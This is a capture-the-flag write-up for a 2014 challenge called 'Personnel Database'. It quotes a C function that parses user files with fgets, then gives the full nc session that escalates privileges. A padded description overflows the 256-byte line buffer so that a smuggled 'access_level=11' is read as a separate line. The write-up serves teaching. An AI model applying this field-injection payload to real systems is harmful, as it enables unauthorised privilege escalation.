Oct 23, 2014 • Piotr Kordy

Personnel Database

Category: Exploiting

Points: 150

Author: TheJH


Lots of criminals in this area work for one big boss, but we have been unable to determine who he is. We know that their organization has one central personnel database that might also contain information about their boss, whose username is simply “boss”. However, when you register in their system, you only get access level zero, which is not enough for reading data about the boss - that guy is level 10. Do you think you can get around their protections?

link: personnel_database_server_67e4ead6aeb111cc19de03d1f3d15fab.c

nc wildwildweb.fluxfingers.net 1410

Note: The users dir will be wiped every 5 minutes.


We are given a source code of the program running on the server. We can run the following commands:

Each user have user name, password, access level and descripiton. Usernames are sanitized to match [a-zA-Z0-9_]{1,20}. The data about each user is stored in separate file in users directory. The interesting part is how the data about the user is read from the file:

struct userdata *read_userfile(char *user) {
  struct userdata *res = calloc(1, sizeof(*res));
  if (res == NULL) return NULL;
  int fd = open_userfile(user, O_RDONLY);
  if (fd == -1) return NULL;
  FILE *f = fdopen(fd, "r");
  if (f == NULL) { close(fd); return NULL; }
  char line[256];
  while (fgets(line, sizeof(line), f)) {
    char *key = line;
    char *eqsign = strchr(line, '=');
    if (!eqsign) continue;
    *eqsign = '\0';
    char *value = eqsign+1;

    if (!strcmp(key, "hash")) res->hash = atoll(value);
    else if (!strcmp(key, "access_level")) res->access_level = atoi(value);
    else if (!strcmp(key, "description")) strcpy(res->description, value);
    else printf("fatal error: bad key \"%s\" in config, aborting\n", key), exit(1);
  return res;

Each line is parsed separatly, but it can be at most 256 bytes (size of the buffer used). So line longer than 256 bytes will be read as two separate lines. Here is the example file with user’s data:

description=some description with = sign

The idea is to submit line with proper length that will be interpreted as two lines. In this way we can set our priviliges to high value.

Here is the list of commands that gives us the flag:

nc wildwildweb.fluxfingers.net 1410
> register a:password
user created successfully
> set_description***************************************************************************************************************************************************************************************************************************************************access_level=11
description set
> logout
Uh, who are you again? I have forgotten.
> user a
username accepted, please provide password
> pass password
login ok
> whois boss
user	boss
level	10
descr	"flag{this_is_why_gets_is_better_than_fgets}"